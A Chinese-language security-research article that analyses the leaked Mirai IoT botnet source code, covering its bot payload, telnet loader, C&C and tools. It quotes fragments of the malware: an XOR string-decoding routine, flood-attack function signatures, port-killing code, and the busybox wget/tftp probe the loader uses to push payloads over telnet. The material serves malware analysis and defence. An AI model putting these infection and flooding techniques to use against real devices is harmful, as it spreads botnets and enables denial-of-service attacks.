Author: xd0ol1 (知道創宇404實驗室)

1. 背景概述

最近的德國斷網事件讓Mirai惡意程序再次躍入公眾的視線,相對而言,目前的IoT領域對于惡意程序還是一片藍海,因此吸引了越來越多的人開始涉足這趟征程。而作為安全研究者,我們有必要對此提高重視,本文將從另一角度,即以Mirai泄露的源碼為例來小窺其冰山一角。

2. 源碼分析

選此次分析的Mirai源碼(https://github.com/jgamblin/Mirai-Source-Code )主要包含loader、payload(bot)、cnc和tools四部分內容:

loader/src   將payload上傳到受感染的設備
mirai/bot    在受感染設備上運行的惡意payload
mirai/cnc    惡意者進行控制和管理的接口
mirai/tools  提供的一些工具

其中,cnc部分是Go語言編寫的,余下都由C語言編碼完成。我們知道payload是在受害者設備上直接運行的那部分惡意代碼,而loader的作用就是將其drop到這些設備上,比如宏病毒、js下載者等都屬于loader的范疇。對惡意開發者來說,最關鍵的也就是設計好loader和payload的功能,畢竟這與惡意操作能否成功息息相關,同時它們也是和受害者直接接觸的那部分代碼,因此這里的分析重點將集中在這兩部分代碼上,剩下的cnc和tools只做個概要分析。在詳細分析之前,我們先給出Mirai對應的網絡拓撲關系圖,可以有個直觀的認識:

2.1 payload分析

這部分代碼的主要功能是發起DoS攻擊以及掃描其它可能受感染的設備,代碼在mirai/bot目錄,可簡單劃分為如下幾個模塊:

我們首先看一下public模塊,主要是一些常用的公共函數,供其它幾個模塊調用:

/******checksum.c******
*構造數據包原始套接字時會用到校驗和的計算
*/
//計算數據包ip頭中的校驗和
uint16_t checksum_generic(uint16_t *, uint32_t);
//計算數據包tcp頭中的校驗和
uint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int);

/******rand.c******/
//初始化隨機數因子
void rand_init(void);
//生成一個隨機數
uint32_t rand_next(void);
//生成特定長度的隨機字符串
void rand_str(char *, int);
//生成包含數字字母的特定長度的隨機字符串
void rand_alphastr(uint8_t *, int);

/******resolv.c******
*處理域名的解析,參考DNS報文格式
*/
//域名按字符'.'進行劃分,并保存各段長度,構造DNS請求包時會用到
void resolv_domain_to_hostname(char *, char *);
//處理DNS響應包中的解析結果,可參照DNS數據包結構
static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count);
//構造DNS請求包向8.8.8.8進行域名解析,并獲取響應包中的IP
struct resolv_entries *resolv_lookup(char *);
//釋放用來保存域名解析結果的空間
void resolv_entries_free(struct resolv_entries *);

/******table.c******
*處理硬編碼在table中的數據
*/
//初始化table中的成員
void table_init(void);
//解密table中對應id的成員
void table_unlock_val(uint8_t id);
//加密table中對應id的成員
void table_lock_val(uint8_t id);
//取出table中對應id的成員
char *table_retrieve_val(int id, int *len);
//向table中添加成員
static void add_entry(uint8_t id, char *buf, int buf_len);
//和密鑰key進行異或操作,即table中數據的加密或解密
static void toggle_obf(uint8_t id);

/******util.c******/
......
//在內存中查找特定的字節序
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len);
//在具體字符串中查找特定的子字符串,忽略大小寫
int util_stristr(char *haystack, int haystack_len, char *str);
//獲取本地ip信息
ipv4_t util_local_addr(void);
//讀取描述符fd對應文件中的字符串
char *util_fdgets(char *buffer, int buffer_size, int fd);
......

其中,用的比較多的有rand.c中的rand_next函數,即生成一個整型隨機數,以及table.c中的table_unlock_valtable_retrieve_valtable_lock_val 函數組合,即獲取table中的數據,程序中用到的一些信息是硬編碼后保存到table中的,如果獲取就要用到這個組合,其中涉及到簡單的異或加密和解密,這里舉個例子:

//保存到table中的硬編碼信息
add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);

//調用table_unlock_val解密
//初始化key,其中table_key = 0xdeadbeef;
uint8_t k1 = table_key & 0xff,         //0xef
        k2 = (table_key >> 8) & 0xff,  //0xbe
        k3 = (table_key >> 16) & 0xff, //0xad
        k4 = (table_key >> 24) & 0xff; //0xde
//循環異或
for (i = 0; i < val->val_len; i++)
{
    val->val[i] ^= k1;
    val->val[i] ^= k2;
    val->val[i] ^= k3;
    val->val[i] ^= k4;
}

/*解密后的信息:listening tun0
*這時調用table_retrieve_val就可以獲取到所需信息
*最后調用table_lock_val加密,同table_unlock_val調用,利用的是兩次異或后結果不變的性質
*不過考慮到異或的交換律和結合律,上述操作實際上也就相當于各字節異或一次0x22
*/

接著來看attack模塊,此模塊的作用就是解析下發的攻擊命令并發動DoS攻擊,attack.c中主要就是下述兩個函數:

/******attack.c******/
//按照事先約定的格式解析下發的攻擊命令,即取出攻擊參數
void attack_parse(char *buf, int len);
//調用相應的DoS攻擊函數
void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, 
    uint8_t opts_len, struct attack_option *opts)
{
    ......
    else if (pid2 == 0)
    {
        //父進程DoS持續時間到了后由子進程負責kill掉
        sleep(duration);
        kill(getppid(), 9);
        exit(0);
    }
    ......
            if (methods[i]->vector == vector)
            {
#ifdef DEBUG
                printf("[attack] Starting attack...\n");
#endif
                //C語言函數指針實現的C++多態
                methods[i]->func(targs_len, targs, opts_len, opts);
                break;
            }
        }
    ......
    }
}

而attack_app.c、attack_gre.c、attack_tcp.c和attack_udp.c中實現了具體的DoS攻擊函數:

/*1)Straight up UDP flood  2)Valve Source Engine query flood
* 3)DNS water torture  4)Plain UDP flood optimized for speed
*/
void attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *);

/*1)SYN flood with options  2)ACK flood
* 3)ACK flood to bypass mitigation devices
*/
void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *);

// 1)GRE IP flood  2)GRE Ethernet flood
void attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *);

// HTTP layer 7 flood
void attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *);

可以看到這里設計的函數接口是統一的,因而可以定義如下函數指針,通過這種方式就可以實現和C++多態同樣的功能,方便進行擴展:

typedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *);

實際上attack這個模塊是可以完整剝離出來的,只需在attack_parse或attack_start函數上加一層封裝就可以了,要加入其它DoS攻擊函數只需符合ATTACK_FUNC的接口即可。

再來看scanner模塊,其功能就是掃描其它可能受感染的設備,如果能滿足telnet弱口令登錄則將結果進行上報,惡意者主要借此擴張僵尸網絡,scanner.c中的主要函數如下:

/******scanner.c******/
//將接收到的空字符替換為'A'
int recv_strip_null(int sock, void *buf, int len, int flags);
//首先生成隨機ip,而后隨機選擇字典中的用戶名密碼組合進行telnet登錄測試
void scanner_init(void);
//如果掃描的隨機ip有回應,則建立正式連接
static void setup_connection(struct scanner_connection *conn);
//獲取隨機ip地址,特殊ip段除外
static ipv4_t get_random_ip(void);
//向auth_table中添加字典數據
static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight);
//隨機返回一條auth_table中的記錄
static struct scanner_auth *random_auth_entry(void);
//上報成功的掃描結果
static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth);
//對字典中的字符串進行異或解密
static char *deobf(char *str, int *len);

為了提高掃描效率,程序對隨機生成的IP會先通過構造的原始套接字進行試探性連接,如果有回應才進行后續的telnet登錄測試,而這個交互過程和后面的loader與感染節點建立telnet交互后上傳惡意payload文件有重復,因此這里就不展開了,可以參考后面的分析。此外,弱口令字典同樣采用了硬編碼的方式,解密也是采用的異或操作,這和前面table.c中的情形是相似的,也不贅述了。

最后我們來看下kill模塊,此模塊主要有兩個作用,其一是關閉特定的端口并占用,另一是刪除特定文件并kill對應進程,簡單來說就是排除異己。我們看下其中kill掉22端口的代碼:

/******kill.c******/
    ......
    //查找特定端口對應的的進程并將其kill掉
    if (killer_kill_by_port(htons(22)))
    {
#ifdef DEBUG
        printf("[killer] Killed tcp/22 (SSH)\n");
#endif
    }
    //通過bind進行端口占用
    tmp_bind_addr.sin_port = htons(22);
    if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
    {
        bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
        listen(tmp_bind_fd, 1);
    }
    ......

另外兩處kill掉23端口和80端口的代碼與此類似,在killer_kill_by_port函數中實現了通過端口來查找進程的功能,其中:

/proc/net/tcp     記錄了所有tcp連接的情況
/proc/pid/exe     包含了正在進程中運行的程序鏈接
/proc/pid/fd      包含了進程打開的每一個文件的鏈接
/proc/pid/status  包含了進程的狀態信息

此外,程序將通過readdir函數遍歷/proc下的進程文件夾來查找特定文件,而readlink函數可以獲取進程所對應程序的真實路徑,這里會查找與之同類的惡意程序anime,如果找到就刪除文件并kill掉進程:

// If path contains ".anime" kill.
if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)
{
    unlink(realpath);
    kill(pid, 9);
}

同時,如果/proc/$pid/exe文件匹配了下述字段,對應進程也要被kill掉:

REPORT %s:%s
HTTPFLOOD
LOLNOGTFO
\x58\x4D\x4E\x4E\x43\x50\x46\x22
zollard

2.2 loader分析

這部分代碼的功能就是向感染設備上傳(wget、tftp、echo方式)對應架構的payload文件,loader/src的目錄結構如下:

headers/       頭文件目錄
binary.c       將bins目錄下的文件讀取到內存中,以echo方式上傳payload文件時用到
connection.c   判斷loader和感染設備telnet交互過程中的狀態信息
main.c         loader主函數
server.c       向感染設備發起telnet交互,上傳payload文件
telnet_info.c  解析約定格式的telnet信息
util.c         一些常用的公共函數

從功能邏輯上看,還需要mirai/tools/scanListen.go的配合來監聽上報的telnet信息,因為main函數中只能從stdin讀取對應信息:

// Read from stdin
while (TRUE)
{
    char strbuf[1024];
    if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)
        break;
    ......
    memset(&info, 0, sizeof(struct telnet_info));
    //解析telnet信息
    if (telnet_info_parse(strbuf, &info) == NULL)

接下來我們對這塊內容進行詳細的分析,同樣先看下那些公共函數,也就是util.c文件,如下:

/******util.c******/
//輸出地址addr處開始的len個字節的內存數據
void hexDump (char *desc, void *addr, int len);
//bind可用地址并設置socket為非阻塞模式
int util_socket_and_bind(struct server *srv);
//查找字節序列中是否存在特定的子字節序列
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len);
//發送socket數據包
BOOL util_sockprintf(int fd, const char *fmt, ...);
//去掉字符串首尾的空格字符
char *util_trim(char *str);

其中用的最經常的是util_sockprintf函數,簡單理解就是send發包,但每次的參數個數是可變的。

繼續,雖然loader的主要功能在server.c中,但分析它之前我們需要看下余 下的3個c文件,因為很多調用的功能是在其中實現的,首先是binary.c文件中的函數:

/******binary.c******/
//bin_list初始化,讀取所有bins/dlr.*文件
BOOL binary_init(void)
{
    ......
    //匹配所有bins/dlr.*文件,結果存放pglob
    if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0)
    ......
}
//按照不同體系架構獲取相應的二進制文件
struct binary *binary_get_by_arch(char *arch);
//將指定的二進制文件讀取到內存中
static BOOL load(struct binary *bin, char *fname);

即將編譯好的不同體系架構的二進制文件讀取到內存中,當loader和感染設備建立telnet連接后,如果不得不通過echo命令來上傳payload,那么這些數據就會用到了。

接著來看telnet_info.c文件中的函數,如下:

/******telnet_info.c******/
//初始化telnet_info結構的變量
struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, 
    ipv4_t addr, port_t port, struct telnet_info *info);
//解析節點的telnet信息,提取相關參數
struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out);

即解析telnet信息格式并存到telnet_info結構體中,通過獲取這些信息就可以和受害者設備建立telnet連接了。

然后是connection.c文件中的函數,主要用來判斷telnet交互中的狀態信息,如下,只列出部分:

/******connection.c******/
//判斷telnet連接是否順利建立,若成功則發送回包
int connection_consume_iacs(struct connection *conn);
//判斷是否收到login提示信息
int connection_consume_login_prompt(struct connection *conn);
//判斷是否收到password提示信息
int connection_consume_password_prompt(struct connection *conn);
//根據ps命令返回結果kill掉某些特殊進程
int connection_consume_psoutput(struct connection *conn);
//判斷系統的體系架構,即解析ELF文件頭
int connection_consume_arch(struct connection *conn);
//判斷采用哪種方式上傳payload(wget、tftp、echo)
int connection_consume_upload_methods(struct connection *conn);
//判斷drop的payload是否成功運行
int connection_verify_payload(struct connection *conn);

//對應的telnet連接狀態為枚舉類型
enum {
    TELNET_CLOSED,          // 0
    TELNET_CONNECTING,      // 1
    TELNET_READ_IACS,       // 2
    TELNET_USER_PROMPT,     // 3
    TELNET_PASS_PROMPT,     // 4
    ......
    TELNET_RUN_BINARY,      // 18
    TELNET_CLEANUP          // 19
} state_telnet;

這里要提一下程序在發包時用到的一個技巧,比如下面的代碼:

util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");

//用在其它命令后作為一種標記,可判斷之前的命令是否執行
#define TOKEN_QUERY     "/bin/busybox ECCHI"
//如果回包中有如下提示,則之前的命令執行了  
#define TOKEN_RESPONSE  "ECCHI: applet not found"

好了,至此我們已經知道如何將不同架構的二進制文件讀到內存中、如何獲取待感染設備的telnet信息以及如何判斷telnet交互過程中的狀態信息,那么下面就可以開始server.c文件的分析了,這里列出幾個主要函數:

/******server.c******/
//判斷能否處理新的感染節點
void server_queue_telnet(struct server *srv, struct telnet_info *info);
//處理新的感染節點
void server_telnet_probe(struct server *srv, struct telnet_info *info);
//事件處理線程
static void *worker(void *arg)
{
    struct server_worker *wrker = (struct server_worker *)arg;
    struct epoll_event events[128];
    bind_core(wrker->thread_id);

    while (TRUE)
    {
        //等待事件的產生
        int i, n = epoll_wait(wrker->efd, events, 127, -1);
        if (n == -1)
            perror("epoll_wait");
        for (i = 0; i < n; i++)
            handle_event(wrker, &events[i]);
    }
}
//事件處理
static void handle_event(struct server_worker *wrker, struct epoll_event *ev);

由于loader可能需要處理很多的感染節點信息,因而設計成了多線程方式。對于每一個建立的telnet連接將采用epoll機制來做事件觸發,相比select機制會更有優勢,所以當loader通過獲取的telnet信息連接感染設備后就開始等待相應事件,這其實是通過編寫代碼來模擬一個簡單的滲透過程,即先發送請求包而后根據返回包判斷并確定后續的操作,主要包括以下幾步,對應的代碼在handle_event函數中:

1)通過待感染節點的telnet用戶名和密碼成功登錄; 2)執行/bin/busybox ps,根據返回結果kill掉某些特殊進程; 3)執行/bin/busybox cat /proc/mounts,根據返回結果切換到可寫目錄; 4)執行/bin/busybox cat /bin/echo,通過返回結果解析/bin/echo這個ELF文件的頭部來判斷體系架構,即其中的e_machine字段; 5)選擇一種方式上傳對應的payload文件,當然首先需要進行判斷:

//發請求包
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");

//在返回包中進行判斷
if (util_memsearch(conn->rdbuf, offset, "wget: applet not found", 22) == -1)
        conn->info.upload_method = UPLOAD_WGET;
    else if (util_memsearch(conn->rdbuf, offset, "tftp: applet not found", 22) == -1)
        conn->info.upload_method = UPLOAD_TFTP;
    else
        conn->info.upload_method = UPLOAD_ECHO;

oader同時支持wget、tftp、echo的方式來上傳payload,其中wget和tftp服務器的相關信息在創建server時需要給出:

struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, 
   char *wghip, port_t wghp, char *thip); //wget服務器的ip和port,tftp服務器的ip

6)執行payload并清理。 通過上述這幾個簡單的步驟,loader就能成功實現對受害者節點的感染了。

2.3 cnc與tools簡單分析

cnc目錄主要提供用戶管理的接口、處理攻擊請求并下發攻擊命令:

admin.go      處理管理員登錄、創建新用戶以及初始化攻擊
api.go        向感染的bot節點發送命令
attack.go     處理用戶的攻擊請求
clientList.go 管理感染的bot節點
database.go   數據庫管理,包括用戶登錄驗證、新建用戶、處理白名單、驗證用戶的攻擊請求
main.go       程序入口,開啟23端口和101端口的監聽

而tools目錄主要提供了一些工具,相應的功能如下:

enc.c         對數據進行異或加密處理
nogdb.c       通過修改elf文件頭實現反gdb調試
scanListen.go 監聽payload(bot)掃描后上報的telnet信息,并將結果交由loader處理
single_load.c 另一個loader實現
wget.c        實現了wget文件下載

3. 后記

總體來看Mirai源碼代碼量不大而且編碼風格比較清晰,理解起來并不難。但是有些地方邏輯上還存在瑕疵,例如:

//***loader/src/util.c*** 查找字節序列中是否存在特定的子字節序列
//邏輯不對,util_memsearch("aabc", 4, "abc", 3)就不滿足
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len);

但作為IoT下的惡意程序源碼還是很值得參考的,特別是隨著最近新變種的出現。可想而知變種會加入更多的反調試手段來阻礙分析,而且交互的數據包會更多的采用加密處理,這點還是很容易的,比如在原先異或的基礎上加個查表操作,同時對于不同漏洞的利用也會更加的模塊化。正因如此,研究其最初的源碼是十分有必要的。

4. 參考鏈接

  • https://github.com/jgamblin/Mirai-Source-Code
  • https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html
  • https://medium.com/@cjbarker/mirai-ddos-source-code-review-57269c4a68f#.3w191m1y0

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/142/